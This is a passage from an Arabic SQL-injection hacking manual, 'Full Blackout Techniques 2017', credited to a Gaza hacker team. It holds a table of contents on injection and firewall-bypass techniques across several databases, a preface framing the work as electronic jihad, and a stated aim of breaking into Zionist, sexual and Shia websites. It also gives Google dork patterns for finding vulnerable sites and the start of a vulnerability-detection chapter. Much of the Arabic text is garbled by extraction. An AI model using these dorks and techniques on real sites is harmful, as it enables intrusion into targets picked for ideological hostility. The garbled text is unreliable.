Download as pdf or txt
Download as pdf or txt
You are on page 1of 258

‫☆╚╦◘• الفهرس •◘╚╦☆‬

‫الكتاب‬
‫‪Gaza Hacker Team present‬‬
‫ررخصة الكتاب‬
‫ررخصة الـ ‪Full Blackout Techniques 2017‬‬

‫ك مللممةة الل لمله لهمي ال لةعل لميا‬


‫إهداء‬
‫منهج العمل داخل هذا الصدار‬
‫توجيه وإرشاد‬
‫ردعاء الستفتاح‬
‫الرمقللدمة العامة‬

‫الفصل الول ‪ :‬المبادئ الساسية بمجال حقن قواعد البيانات المتطورة‬

‫الباب الول ‪ :‬إستكشاف المواقع الرمصابة‬

‫الباب الثاني ‪ :‬الكشف عن وجود الثغرة‬


‫خطوة ا ر‬
‫لولى ‪ :‬إستخدام إشارة التنصيص الفردية كومة‬ ‫ال ر‬
‫خطوة الثانية ‪ :‬إستخدام الـ ‪ Boolean operators‬أو الرمعاملت المنطقية ورمقارنة النتائج‬ ‫ال ر‬
‫خطوة الثالثة ‪ :‬إستخدام حروف البجدية النجليزية‬ ‫ال ر‬
‫الباب الثالث ‪ :‬الكشف عن إصدار قاعدة البيانات‬
‫الباب الرابع ‪ :‬الكشف عن وجود جدار حماية ناري ‪WAF‬‬

‫الفصل الثاني ‪ :‬أساسيات حقن الرمتغير في قواعد البيانات‬

‫‪SQL Injection Integer Based‬‬ ‫النوع الول ‪:‬‬ ‫‪-‬‬


‫النوع الثاني ‪SQL Injection Strings Based :‬‬ ‫‪-‬‬
‫‪SQL Injection Closures‬‬ ‫النوع الثالث ‪:‬‬ ‫‪-‬‬
‫‪D.I.V Injection‬‬ ‫النوع الرابع ‪:‬‬ ‫‪-‬‬

‫الفصل الثالث ‪ :‬رأسلوب الحقن النمطي ورملحقات رره ‪.‬‬

‫الباب الول ‪ :‬رأسلوب الحقن النمطي ‪.‬‬

‫الباب الثاني ‪ :‬أساليب تحصيل العداد الك رمللية للعلمدة ‪.‬‬

‫الفصل الول ‪ :‬الستعلم التقليدى ‪ Order+By‬أو ‪. Group By‬‬


‫الفصل الثاني ‪ :‬الستعلمات الرملحقة الرئيسية ‪. - Union By Linked -‬‬
‫الفصل الثالث ‪ :‬السلوك الوافي ‪. Waf's Behavior‬‬
‫الفصل الرابع ‪ :‬الستعلم التوجيهي ‪. - Routed Query -‬‬
‫الفصل الخامس ‪ :‬إستخدام الستعلم ‪. PROCEDURE ANALYSE‬‬
‫الفصل السادس ‪ :‬تحصيل أعداد العمدة بتخمين الجدول الرئيسي ‪.‬‬
‫الفصل السابع ‪ :‬تحصيل أعداد العمد بالـ ‪ Error Based‬بتخمين الجدول الرئيسي ‪.‬‬
‫الباب الثالث ‪ :‬التقنيات المركزية لتحصيل العداد ال ر‬
‫كلية للعمدة ‪.‬‬
‫كلي للعمدة برأسلوب الغراق ‪.‬‬
‫]‪ [1‬التقنية الولى ‪ :‬الكشف عن العدد ال ر‬
‫ر‬
‫كلي للعمدة بأسلوب الفيض الرمتعدد ‪.‬‬ ‫]‪ [2‬التقنية الثانية ‪ :‬الكشف عن العدد ال ر‬
‫]‪ [3‬التقنية الثالثة الرمتقلمدمة ‪ :‬النمط الغلقي ‪. Style closure‬‬

‫إستكمال عملية الحقن ‪ :‬إستخدام رأسلوب الـ ‪. Union Based‬‬

‫إجبار العمدة الرمصابة على الظهور بالصفحة عندما ل تظهر فى الحالة الطبيعية للحقن‬

‫الفصل الول ‪ :‬التنقيط ' ‪. ' Dotting‬‬


‫جمل الخاطئه أو الـ ‪. false statement‬‬ ‫الفصل الثاني ‪ :‬إستخدام ال ر‬
‫الفصل الثالث ‪ :‬الرقام الرمتعدده التكراريه والبحث داخل السورس باج ' ‪. ' source page‬‬
‫الفصل الرابع ‪ :‬إستخدام الفيرجين والبحث بالسورس باج ' ‪. ' source page‬‬
‫الفصل الخامس ‪ :‬إستخدام القوة الجبرية الـ ‪. Brute Forcing Columns‬‬
‫الفصل السادس ‪ :‬إستخدام الستعلم التوجيهي | ‪. Routed Query‬‬
‫الفصل السابع ‪ :‬إستخدام رأسلوب الحقن الداخلي ‪. injection inside injection‬‬
‫الفصل الثامن ‪ :‬فحص وجود حمايه ‪. WAF‬‬
‫الفصل التاسع ‪ :‬فحص نهايات الروابط ‪.‬‬
‫الفصل العاشر ‪ :‬إستخدام قيمه فارغه ‪. Null‬‬

‫إستكمال مراحل الحقن‬

‫‪ - 2‬الستعلم النهائي‬ ‫‪ -1‬الستعلم الشامل‬

‫الفصل الرابع ‪ :‬تقنيات الحقن الفريدة من نولعها ‪.‬‬

‫الباب الول ‪ :‬رأسلوب الحقن الفريد الـ ‪. Join Syntax‬‬


‫الباب الثاني ‪ :‬إستخدام الرمتغيرات المؤقتة لتخطى الحمايات الرمسمتهلدفه ‪.‬‬
‫الباب الثالث ‪ :‬رأسلوب حقن نقطة الحقن الداخلي ‪. injection inside injection‬‬
‫الباب الرابع ‪ :‬تقنية الـ ‪. Non-Geometric Error Based‬‬
‫الباب االخامس ‪ :‬إستخراج القيم بالـ ‪ Error Based‬بلمح البصر ‪. Dump In One Shot‬‬
‫الباب السادس ‪ :‬تقنيات الحقن البديلة الـ ‪. SQL-Injection-Without‬‬
‫‪ -1‬تقنية معرفة الـ ‪. db name‬‬
‫‪ -2‬تقنية معرفة قيمة الباسورد للجدول الرمستخرج دونما عناء إستخراج العمدة الخاصة به ‪.‬‬
‫الباب السابع ‪ :‬عندم ل تستطيع إستخدام القيمة ‪ Concat‬بالستعلمات ‪.‬‬
‫الباب الثامن ‪ :‬قيم الـ ‪ Concat‬الفريدة من نوعها ‪.‬‬
‫الباب التاسع ‪ :‬تقنية اليحث عند الجداول التي تحتوى أعمدة باسوردات ‪.‬‬

‫الفصل الخامس ‪ :‬تقنيات الدفع الموحد ‪.‬‬

‫]‪ [1‬الخطأ ‪. Error : (1054) Unknown column 'xxx' in 'field list‬‬


‫]‪ [2‬الخطأ ‪. 'Unknown column '1' in 'order clause :‬‬
‫]‪ [3‬الخطأ ‪ :‬النقطاع الرمفاجئ للنترنت ‪. The connection was reset‬‬
‫]‪ [4‬الخطأ ‪. 'Illegal mix of collations for operation 'UNION - 1271 :‬‬
‫]‪ [5‬الخطأ البرمجي ‪. Fatal Error Occurred :‬‬
‫]‪ [6‬الخطأ ‪. Temporary Redirect 307 :‬‬
‫]‪ [7‬الخطأ ‪. Bad Request 400 :‬‬
‫]‪ [8‬الخطأ ‪. Conflict 409 :‬‬
‫]‪ [9‬الخطأ ‪. Not Found 404 :‬‬
‫]‪ [10‬الخطأ ‪. boolean given in :‬‬
‫]‪ [11‬الخطأ ‪. Sucuri WebSite Firewall - CloudProxy - Access Denied :‬‬
‫]‪ [12‬الخطأ ‪. The used SELECT statements have a different number of columns :‬‬
‫]‪ [13‬الخطأ ‪. New Line‬‬
‫]‪ [14‬الخطأ ‪. White spaces‬‬
‫الفصل السادس ‪ :‬تقنيات الرقدرات الفائقة الرمتقللدمة ‪.‬‬

‫الباب الول ‪ :‬الـ مسئلة التشفيرية ‪. BIND‬‬


‫الباب الثاني ‪ :‬الـ مسئلة التشفيرية ‪. seperator Style‬‬
‫الباب الثالث ‪ :‬الـ ‪ waf‬الرممتلنع ‪.‬‬
‫الباب الرابع ‪ :‬تقنية الستبدال الموازي ‪.‬‬
‫الباب الخامس ‪ :‬تقنية التحكم في التدفق ‪.‬‬
‫الباب السادس ‪ :‬تقنيات التشفير الرمتقلدمة ‪.‬‬
‫الباب السابع ‪ :‬خادم الويب استبدل الـ ‪ select‬والمساحات البيضاء مع ل شيء ‪.‬‬
‫الباب الثامن ‪ :‬الستعلمات الرمتعدده ‪. multiple queries‬‬
‫الباب التاسع ‪ :‬تقنية الـ ‪. Enumeration In SQL‬‬

‫الفصل السابع ‪ :‬الحقن الرمتكامل ‪.‬‬

‫الحقن الرمتكامل | ‪| Mysql Blind Injection‬‬

‫الفصل الثامن ‪ :‬حقن قواعد بوستجري إس كيو إل ‪.‬‬

‫‪ - 1‬حقن قواعد بوستجري إس كيو إل ‪ PostgreSQL‬التقنيات الجديدة ‪.‬‬


‫‪ - 2‬الحقن بإستخدام الـ ‪ CURRVAL‬والـ ‪ NEXTVAL‬في قواعد بيانات الـ ‪. PostgreSQL‬‬
‫‪ - 3‬حقن قواعد ‪ PostgreSql‬العمى ‪.‬‬

‫الفصل التاسع ‪ :‬حقن قواعد سايبيس ‪. Sybase‬‬

‫الفصل العاشر حقن قواعد ‪. Oracle‬‬

‫حقن قواعد ‪ oracle‬العمى بإستخدام تقنية ‪. DBMS_PIPE.RECEIVE_MESSAGE‬‬

‫الفصل الحادي عشر ‪ :‬حقن قواعد ‪. Firebirds‬‬

‫الفصل الثاني عشر ‪ :‬حقن سيرفرات ويندوز ‪.‬‬

‫‪ -1‬حقن قواعد بيانات ويندوز سيرفر الـ ‪. Union Based‬‬


‫‪ -2‬حقن قواعد بيانات ويندوز سيرفر الـ ‪. Error Based‬‬
‫‪ -3‬حقن قواعد بيانات ويندوز سيرفر للمواقع ذات اللحقة ‪ asp‬و ‪. aspx‬‬
‫‪ -4‬حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ ‪ Image‬الرمعبرة على الختراق ‪.‬‬
‫‪ -5‬حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ ‪ Index‬الرمعبرة على الختراق ‪.‬‬

‫الخالتمة‬
Gaza Hacker Team
present
Full Blackout
Techniques
2017
‫▂ ▃ ▄ ▅ ▆ ▇ █ ررخصة الكتاب █ ▇ ▆ ▅ ▄ ▃ ▂‬

‫تخضع رمحتويات الكتاب إلى رخصة المشاع البداعي وهي مجموعة من رخص تنظم استخدام حقوق المؤلف بالطرق التي‬
‫ل يجوز ممارستها من دون موافقة صاحب حق المؤلف ‪ ،‬توجد منها عدة تنويعات توضح الحقوق التي يحتفظ بها المؤلف‬
‫والحقوق التي يتنازل عنها للخرين ‪ ،‬مما ينتج عنه كون "بعض الحقوق محفوظة" عوضا على كون "جميع الحقوق محفوظة"‬
Full Blackout Techniques 2017 ‫الررخصة الرمختارة للصدار‬
‫▂ ▃ ▄ ▅ ▆ ▇ █ ك مللممةة الل ل مله له م‬
‫ي ال لةعل لميا █ ▇ ▆ ▅ ▄ ▃ ▂‬

‫الستفتاح الرمبارك بإذن اللله تعالى لهذا الصدار‬

‫كومن ك مللممةة الل لمله لهمي ال لةعل لميا مفةهمو لفي مسلبيلل الل لمله " ☆¸‪☆*•.‬‬
‫عل مي لله مومسل لممم ‪ " :‬مملن مقاتممل للتم ة‬
‫☆*•‪ ☆¸.‬مقامل مرةسوةل الل لمله مص لملى الل لمةه م‬
‫لذا رقمنا بعون اللله تعالي وفضله وبركاته بتأليف هذا الصدار الجديد والرمتقللدم من تقنيات علم حقن قواعد البيانات الرمتقللدمة والفريده‬
‫من نولعها وتقديمها لخيرة شباب العرب والرمسلمين بكافة أرجاء المعمورة لتكومن لرهم درعا ل رادعا م وسيفا ل قاطعا ل في ساحة الجهاد‬
‫اللكتروني العالمي للتكون ك مللممةة الل لمله لهمي ال لةعل لميا فوق ركل عدلوا ل مس لموملت له نفسره وأراد بموقلعه اللكتروني حاللما ل أن يجعمل كلمة اللله هي‬
‫الرسفلى وحاشى للله أن تكون كذلك لذا فسوف نكسرهر ونجعلره من ال لأ ممذلليمن ‪.‬‬
‫إلى روح أبـي العزيز ‪ :‬حسن المليجي‬

‫☆╚╦◘ • رحمره الله تعالي وتغمزهر بفائق رحمرة ومغفرة • ◘╚╦☆‬

‫نرجو لمن ر‬
‫كم ال ل ردعاء الخالص لره من قلوربكم الطيبة‬
‫☆╚╦◘• منهج العمل بهذا الصدار •◘╚╦☆‬

‫‪ - 1‬جميع الروابط الرمستخدمة بالكتاب الخاصة بالمواقع الرمقدم عليه الشروحات ليست حقيقية بمعني أنها ليست بمواقع حيه بل‬
‫هي مواقع إفتراضية من نسج خيالنا ‪ ,‬بالضافة أنها في بعض المسائل قد رصممت خصيصا ل لها ‪ ,‬وإليكم مثال على أحد المواقع‬
‫الفتراضية الرمستخدمة بالكتاب والذي كان إسمي الحركي الثاني أساسا ل لها || ‪|| www.InjectorBoy.md/news.php?id=58‬‬

‫‪ - 2‬يبدأ الكتاب تدريجيا ل من بدايته بعرض تقنيات المجال العامة السابق شرحها بالصدار السابق لكن مع بعض التغير فى الرمحتوى‬
‫المعلوماتي ليكون الجميع بما فيهم الرمبتدئين على علم بما يجري وذلك كـ فصول رمستقلة رتمثل نفسها ‪ ,‬رثم نقوم بإلحاق أبواب داخل‬
‫هذه الفصول خاصة تشرح بعض مسائل التفاصيل الدقيقة الخاصة بالرمحتوى العام للمعلومات بالفصل والرمرتلبطة بها بصورة وثيقة ‪.‬‬

‫‪ - 3‬كافة الشروحات والتقنيات الرمقدمة بالكتاب ولضعت خصيصا ل للرمساعدة على إختراق المواقع الصهيونية والمواقع الجنسية‬
‫والمواقع الللشيعية الرمعادية لهل الرسنة والجماعة بصورة خاصة وعلى حدا سواء ول يجوز أبدا ل إستخدامها في غير ما رخصصت له ‪.‬‬

‫‪ - 4‬تم تفعيل خاصية النسخ ‪ Copy‬برنسخة الـكتاب الـ ‪ pdf‬هذا ليسرهل عليكم نقل الستعلمات والتقنيات الجدبدة‬
‫كتلليب ‪.‬‬
‫وإستخدامها خارج نطاق ورقات هذا ال ر‬

‫‪ - 5‬تم العتماد حصريا ل داخل هذا الصدار الجديد من الكتاب على تقنيات وأساليب الحقن الرمتقللدم اليدوي فقط دون اللتفات بتاتا ل‬
‫للرطرق اللية ‪ ,‬للكولنها الكثر صرامة ودقة وتخطي فيما يافوق الـ ‪ % 90‬رمقالبل الطريقة اللية ذلك إن تم الرمقارنة ببنرهما ‪.‬‬
‫قبل الشروع في هذا العمل الرمبارك بإذن الله تعالي أوللجه عناية حضراتكم‬
‫إلى سلسلة الدورات المبدئية الكاملة فى مجال حقن قواعد البيانات للرمختبري الختراق‬
‫بالصوت والصورة من تقديمي بقناتي على اليوتيوب ‪.‬‬

‫الدورة الولى فى الحقن ‪Normal SQL Query :‬‬

‫‪www.youtube.com/playlist?list=PLBtrvQlrzs6qQg4b8ButEqfQriqks2BjN&disable_polymer=true‬‬

‫الدورة الثانية فى الحقن ‪ :‬الستعلمات المتقدمة ‪Advanced queries‬‬

‫‪www.youtube.com/playlist?list=PLBtrvQlrzs6pUpwwfyY8jfjNlLdR4Adaw&disable_polymer=true‬‬

‫تابع القناة للمزيد من الدورات والدروس الرمتقلدمة …‬


‫☆╚╦◘• ددعاء الستفتاح •◘╚╦☆‬

‫" سبحانك اللهم وبحمدك‬


‫وتبارك اسمك‬
‫وتعالى ج د ددك‬
‫ول إله غيرك "‬
‫إل لييهه يليصلعدد ال يك لل هدم الط دليده د‬
‫ب لوال يلعلمدل ال دلصال هدح يليرلفدعده‬

‫☆╚╦◘• الرمقللدمة العامة للكتاب •◘╚╦☆‬


‫الحمرد ل لمله الذى لم يزل عليما ل حكيما وصلى الله على سيدنا رمح لممدا ل الذى أرسله الى الناس كافلة بشيرا ل ونذيرا ل‬
‫وعلى أللله وصحبه وسلم تسليما ل كثيرا ل وبعد ‪.‬‬

‫لفق تقنيات وأساليب حماية جديدة لقواعد‬ ‫لم يمر سوى عام تقريبا ل منرذ صدور الصدار الثانى من هذا الكتاب إل وقد ظهرت با ر‬
‫ر‬ ‫ر‬
‫البيانات والمعلومات ‪ ,‬وفي ذات الوقت وبصورة رموازية و بذات الوتيرة ظهرت أساليب وتقنيات رمختصة بالكسر ] الحمابة [ رمتميزة‬
‫وعالية في الرمستوى تواكب هذا التطور الكبير في هذا المجال مجال الحماية المعلوماتية ‪ ,‬لذا ولجب علينا رممسميرلتها وتقديمها إليكم‬
‫أي هذه التقنيات الرمتقدمة الجدبدة كافة على طبق من رزم ل ررد يليق لب ر‬
‫كم ‪ ,‬لذا ولبهذا الصدد تم تكليفي من طرف‬
‫فريق قراصنة غزة كالرمعتاد من رأناس يحبون التطور والتحدي ومواكبة العصر للعمل على تقديم الصدار الرمتطور الثالث‬
‫في هذا المجال مجال الـ ‪. SQL Injection‬‬

‫قال الشيخ محمد الغزالي ‪ :‬إذا كلف النسان بعمل فإن إنجاز هذا العمل علي أفضل وجه يعد فرض عين وجب ول يجوز له أن يتراخي‬
‫فيه أو يفرط ‪.‬‬

‫لذا فإننا قد أخذنا بهذا التكليف الرمبارك ووضعناهر على عالتقنا نحرن بلك روز ] أحمد المليجي[ ‪,‬‬
‫وإننا كافريق عربي كبير نلعدركم بالعمل ليل نهار لتقديم أفضل مالدينا ل ل ممتنا العربية والسلمية بمشيئة الله تعالى ‪,‬‬
‫كم ألخر إصدارلتنا‬
‫ومن رمنطلق هذه المسؤلية ولحرلصنا على نشر اللعلم وتطويره فإنره يرس ل ررنا وريشلمررفنا أن نقدم ل ر‬
‫وفخر هاكرز قطاع غزة الب لمية الصدار الثالث من !‬

‫تقن لميات حقن قواعد البيانات الرمتقدمة التعتيم الكامل ‪2017‬‬

‫لذا فقرألةر رممتعه ‪.‬‬

‫‪ BlackRose‬قائد الــ ☆*•‪ ☆*•.¸☆ GHI ☆¸.‬فريق تطوير مجال علم حقن قواعد البيانات الرمتقللدمة‬
‫] الثغرة رقم واحد بالعالم حاليا ل بل رمنالزع [ على رمستوى ال ر ل ممتين العربية والسلمية التابع لفريق قراصنة غزة ‪. GHT‬‬

‫‪Mr.Le0n -‬‬ Claw -‬‬ Casper‬‬


‫الفصل الول | المبادئ الساسية بمجال حقن قواعد البيانات المتطورة |‬

‫بسم الله ال لمرلحمملن ال لمرلحيلم‬

‫السلم علي ر‬
‫كم ورحمة اللله‬

‫ت أن أبدأ كتابي‬
‫ت بسم الله فأول ما جرى به القلم في اللوح المحفوظ بسم الله الرحمن الرحيم لذا أحبب ر‬ ‫بدايتي مع ر‬
‫كم بداية خير فرقل ر‬
‫حسنى ‪ ،‬ويرد به في التشهد وفي السلم على المسلم لبمعنى الدعاء له‬ ‫ت السلم علي ر‬
‫كم فهو اسم من أسماء الله تعالى ال ر‬ ‫بها ‪ ,‬ثم ألقي ر‬
‫ر‬ ‫ر‬
‫بالحفظ والعناية ‪ ،‬وأن يسلمه الله من كل الفات ‪ ,‬لذا فأللني أشلهرد اللله إني أحب ر‬
‫كم فيه ‪.‬‬

‫بادئ ذي بدء سوف رنناقش لع لمدة مبادئ أساسية من باب الولويات الرقصوى وذلك قبل الخوض في لخضم هذا المجال الواسع‬
‫والرمتشلعب مجال إختبار إختراق ثغرات حقن قوالعد البيانات ‪ ,‬تشمل هذه المبادئ رطرق تحصيل المواقع الرمصابة عن طريق‬
‫إستخدام رمحرك البحث جوجال ‪ ,‬رطرق الكشف عن وجود الثغرة بالمواقع الرمحتمل إصابتها ‪ ,‬رطرق الكشف عن إصدارات قواعد‬
‫البيانات الثلثة ‪ , V1,V2,V3‬و أخيرا ل رطرق الكشف عن وجود الحمايات بالموالقع الرمصابة والسيرفرات ‪ ,‬ث رلمم يلي ذلك فصل‬
‫فرعي يتم شرح أساسيات حقن الرمتغيرات فيه ‪ ,‬وبه نكون قد غطينا جانبا ل كبير من المبادئ الساضرورية ]الساسية الضرورية[‬
‫التي يحتاجها الرمختملبر العربي ‪.‬‬

‫☆*•‪ ☆¸.‬الرمحتويات ☆¸‪☆*•.‬‬

‫الباب الول ‪ :‬تحصيل المواقع الرمصابة ‪.‬‬


‫الباب الثانى ‪ :‬الكشف عن وجود الثغرة ‪.‬‬
‫الباب الثالث ‪ :‬الكشف عن إصدار قاعدة البيانات ‪.‬‬
‫الباب الرابع ‪ :‬الكشف عن وجود جدار حماية ناري ‪. WAF‬‬

‫▂▃▄▅▆▇█ █▇▆▅▄▃▂‬
‫•◘╚╦☆ الباب الول ‪ :‬تحصيل المواقع الرمصابة ☆╚╦◘•‬

‫رأسلوب البحث الشامل لستكشاف المواقع المصابة بثغرات الحقن ‪ ,‬رقمت بشرح هذا ا ر‬
‫لسلوب بالصدار الثاني السابق لذا فل دير من‬ ‫ر‬
‫تكرار ذلك رهنا مرة رأخرى ‪ ,‬يتم البحث عن المواقع الرمصاب بإستخدام قيم رتس لممى الدوركات رمتضللمنة البيانات المطلوب البحث عنها‬
‫بالستعانة برمحرك البحث جوجال ‪ ,‬لذا الدورك ريمكن تعريرفة بأنة إستعلم رمركب للبحث عن رمخصص بمحركات البحث‬
‫‪ ,‬ويتكون الدورك من أربعة مقاطع ‪:‬‬

‫☆╚╦◘• الصيغة البنائية لدورك •◘╚╦☆‬

‫" " ‪" inurl :. " dorks " / " domain" / " site‬‬

‫]‪ - [1‬المقطع الول ‪ : inurl‬ويعني البحث داخل رمحدد ‪.‬‬

‫]‪ - [2‬المقطع الثاني ‪ : Dork‬ويعني صيغة الدورك ‪.‬‬

‫]‪ - [3‬المقطع الثالث ‪ : domain‬ويعني التصنيف النوعي للموقع ‪.‬‬

‫]‪ - [4‬المقطع الرابع ‪ : site‬ويعني نوع الموقع المبحوث عنه ‪.‬‬

‫☆╚╦◘• الشرح الرمفصل •◘╚╦☆‬

‫☆¸‪ ☆*•.‬المقطع الول ‪ inurl‬البحث داخل رمحدد ‪ :‬يعني البحث داخل قيم يتم تحديدها رمسبقا ل مثل ☆*•‪☆¸.‬‬

‫‪ : inurl‬البحث داخل الروابط ‪.‬‬

‫‪ : intitle‬البحث داخل العناوين ‪.‬‬

‫‪ : intext‬البحث داخل الملفات ‪.‬‬

‫‪ : define‬البحث داخل رمعرف ‪.‬‬

‫‪ : site‬البحث داخل الموقع ‪.‬‬

‫‪ : info‬البحث داخل المعلومات ‪.‬‬

‫‪ : link‬البحث داخل المتدادات ‪.‬‬


‫☆¸‪ ☆*•.‬المقطع الثاني ‪ : Dork‬صيغة الدورك ☆*•‪☆¸.‬‬

‫الدورك يعني الرمتغير والرمتغير عبارة عن حاويات لحفظ البيانات ورتم ل مثل بمتطقة بذاكرة الحاسب لتخزين رمعطيات مؤقتة ‪.‬‬

‫☆╚╦◘• مثال على الدوركات •◘╚╦☆‬

‫=‪book.php?id‬‬

‫=‪event.php?id‬‬

‫=‪news.php?id‬‬

‫=‪categorie.php?id‬‬

‫=‪category.php?CID‬‬

‫=‪Details.php?id‬‬

‫ملحوظة ‪ :‬يتكون الدورك من عدة مقاطع منها ما يتكون من مقطع واحد ومنها ما يتكون من مقطعين ومنها ما يتكون من ثلث مقاطع‬
‫ومثال على ذلك ‪.‬‬

‫‪Google Dork string Column-‬‬1‬‬ ‫‪Google Dork string Column-‬‬2‬‬ ‫‪Google Dork string Column-‬‬3‬‬
‫=‪item_id‬‬ ‫=‪review.php?id‬‬ ‫=‪hosting_info.php?id‬‬

‫☆¸‪ ☆*•.‬المقطع الثالث ‪ : domain‬أي التصنيف النوعي للموقع ☆*•‪☆¸.‬‬

‫مثال لل ل متوضيح‬

‫الـ ‪ domain‬تعني رهنا نوع إمتداد ] تخص ل رص [ الموقع هل هو موقع حكومي أم موقع تعليمي أم موقع عام الخ ‪.‬‬

‫☆╚╦◘• رموز الدومينات •◘╚╦☆‬

‫مواقع رحكومية = ‪gov‬‬


‫مواقع تعليمية = ‪edu‬‬
‫مواقع رمنظمات = ‪org‬‬
‫مواقع ‪com = Commercial‬‬
‫مواقع ‪info = Informative‬‬
‫) تصغير لـ ‪ ( .com‬مواقع ‪net = Networking‬‬
☆¸.•*☆ ‫ تحديد دولة المواقع المبحوث عنها‬: site ‫•*☆ المقطع الرابع‬.¸☆

. ‫يمكننا البحث داخل نطاقات بلدان رمعنية دون غيرها بالتخص ل رص وذلك بوضع القيمة التي ترموز إلى الدولة أو ما ريسمى رمفتاح الدولة‬

☆╦╚◘• ‫☆╚╦◘• رمفاتيح البلدان‬

AD (Andorra)
AE (UAE)
AF (Afghanistan)
AG (Antigua and Barbuda)
AI (Anguilla)
AL (Albania)
AM (Armenia)
AN (Netherlands)
AO (Angola)
AQ (Antarctica)
AR (Argentina)
ARPA (Arpanet)
AS (American Samoa)
AT (Austria)
AU (Australia)
AW (Aruba)
AZ (Azerbaijan)
BA (Bosnia and Herzegovina)
BB (Barbados)
BD (Bangladesh)
BE (Belgium)
BF (Burkina Faso)
BG (Bulgaria)
BH (Bahrain)
BI (Burundi)
BJ (Benin)
BM (Bermuda)
BN (Brunei Darussalam)
BO (Bolivia)
BR (Brazil)
BS (Bahamas)
BT (Bhutan)
BV (Bouvet Island)
BW (Botswana)
BY (Belarus)
BZ (Belize)
CA (Canada)
CC (Cocos)
CF (Central African Republic)
CG (Congo)
CH (Switzerland)
CI (Cote D'Ivoire))
CK ( Islands)
CL (Chile)
CM (Cameroon)
CN (China)
CO (Colombia)
COM (US Commercial)
CR (Costa Rica)
CS (Czechoslovakia)
CU (Cuba)
CV (Cape Verde)
CX (Christmas Island)
CY (Cyprus)
CZ (Czech Republic)
DE (Germany)
DJ (Djibouti)
DK (Denmark)
DM (Dominica)
DO (Dominican Republic)
DZ (Algeria)
EC (Ecuador)
EDU (US Educational)
EE (Estonia)
EG (Egypt)
EH (Western Sahara)
ER (Eritrea)
ES (Spain)
ET (Ethiopia)
FI (Finland)
FJ (Fiji)
FK (Falkland)
FM (Micronesia)
FO (Faroe Islands)
FR (France)
FX (France)
GA (Gabon)
GB (Great Britain)
GD (Grenada)
GE (Georgia)
GF (French Guiana)
GH (Ghana)
GI (Gibraltar)
GL (Greenland (Island))
GM (Gambia)
GN (Guinea)
GOV (Government)
GP (Guadeloupe)
GQ (Equatorial Guinea)
GR (Greece)
GS (S.Georgia and S.Sandwich Isls.)
GT (Guatemala)
GU (Guam)
GW (Guinea-Bissau)
GY (Guyana)
HK (Hong Kong)
HM (Heard and McDonald Islands)
HN (Honduras)
HR (Croatia)
HT (Haiti)
HU (Hungary)
ID (Indonesia)
IE (Ireland)
IL (Israel)
IN (India)
INT (International)
IO (British Indian Ocean Territory)
IQ (Iraq)
IR (Iran)
IS (Iceland)
IT (Italy)
JM (Jamaica)
JO (Jordan)
JP (Japan)
KE (Kenya)
KG (Kyrgyzstan)
KH (Cambodia)
KI (Kiribati)
KM (Comoros)
KN (Saint Kitts and Nevis)
KP (Korea (North))
KR (Korea (South))
KW (Kuwait)
KY (Cayman Islands)
KZ (Kazakhstan)
LA (Laos)
LB (Lebanon)
LC (Saint Lucia)
LI (Liechtenstein)
LK (Sri Lanka)
LR (Liberia)
LS (Lesotho)
LT (Lithuania)
LU (Luxembourg)
LV (Latvia)
LY (Libya)
MA (Morocco)
MC (Monaco)
MD (Moldova)
MG (Madagascar)
MH (Marshall Islands)
MIL (Military)
MK (Macedonia)
ML (Mali)
MM (Myanmar)
MN (Mongolia)
MO (Macau)
MP (Northern Mariana Islands)
MQ (Martinique)
MR (Mauritania)
MS (Montserrat)
MT (Malta)
MU (Mauritius)
MV (Maldives)
MW (Malawi)
MX (Mexico)
MY (Malaysia)
MZ (Mozambique)
NA (Namibia)
NATO Nato field)
NC (New Caledonia)
NE (Niger)
NET (Network)
NF (Norfolk Island)
NG (Nigeria)
NI (Nicaragua)
NL (Netherlands)
NO (Norway)
NP (Nepal)
NR (Nauru)
NT (Neutral Zone)
NU (Niue)
NZ (New Zealand)
OM (Oman)
ORG (Organization)
PA (Panama)
PE (Peru)
PF (French Polynesia)
PG (Papua New Guinea)
PH (Philippines)
PK (Pakistan)
PL (Poland (Polsko))
PM (St. Pierre and Miquelon)
PN (Pitcairn)
PR (Puerto Rico)
PT (Portugal)
PW (Palau)
PY (Paraguay)
QA (Qatar)
RE (Reunion)
RO (Romania)
RU (Russian Federation)
RW (Rwanda)
SA (Saudi Arabia)
Sb (Solomon Islands)
SC (Seychelles)
SD (Sudan)
SE (Sweden)
SG (Singapore)
SH (St. Helena)
SI (Slovenia)
SJ (Svalbard and Jan Mayen Islands)
SK (Slovak Republic)
SL (Sierra Leone)
SM (San Marino)
SN (Senegal)
SO (Somalia)
SR (Suriname)
ST (Sao Tome and Principe)
SU (USSR)
SV (El Salvador)
SY (Syria)
SZ (Swaziland)
TC (Turks and Caicos Islands)
TD (Chad)
TF (French Southern Territories)
TG (Togo)
TH (Thailand)
TJ (Tajikistan)
TK (Tokelau)
TM (Turkmenistan)
TN (Tunisia)
TO (Tonga)
TP (East Timor)
TR (Turkey)
TT (Trinidad and Tobago)
TV (Tuvalu)
TW (Taiwan)
TZ (Tanzania)
UA (Ukraine)
UG (Uganda)
UK (United Kingdom)
UM (US Minor Outlying Islands)
US (United States(USA))
UY (Uruguay)
UZ (Uzbekistan)
VA (Vatican City State (Holy See))
VC (Saint Vincent and the Grenadines)
VE (Venezuela)
VG (Virgin Islands (British))
VI (Virgin Islands (USA)
VN (Viet Nam)
VU (Vanuatu)
WF (Wallis and Futuna Islands)
WS (Samoa)
YE (Yemen)
YT (Mayotte)
YU (Yugoslavia)
ZA (South Africa)
ZM (Zambia)
ZR (Zaire)
ZW (Zimbabwe)

•◘╦╚☆ ‫•◘╚╦☆ مثال عملي‬

"inurl:."listproducts.php?cat=" / " com " "


‫☆╚╦◘• الباب الثاني ‪ :‬الكشف عن وجود الثغرة •◘╚╦☆‬

‫يتم الكشف عن وجود ثغرات الحقن بصورة تقريبية عامة في ثلث رخطوات رمتن ل روعة ‪ ,‬وذلك على النحو التالي ‪-‬‬

‫خطوة ا ر‬
‫لولى ‪ :‬إستخدام إشارة التنصيص الفردية كومة‬ ‫ال ر‬

‫عند رمحاولة إختبار وجود الثغره بهدف ما ‪ ,‬تسبق تفكيمرنا أيدينا إلى كتابة إشارة التنصيص الفردية كوممة ‪ Comma‬كونها تعودة‬
‫لخرى الرمتعارف عليها التي رتستخدم لذلك المر ‪ ,‬ل لمنها العامل القوى في‬‫ذلك منا كثيرا ل ‪ ,‬وذلك دون غيرها من الشارات والطرق ا ر‬
‫ر ر‬
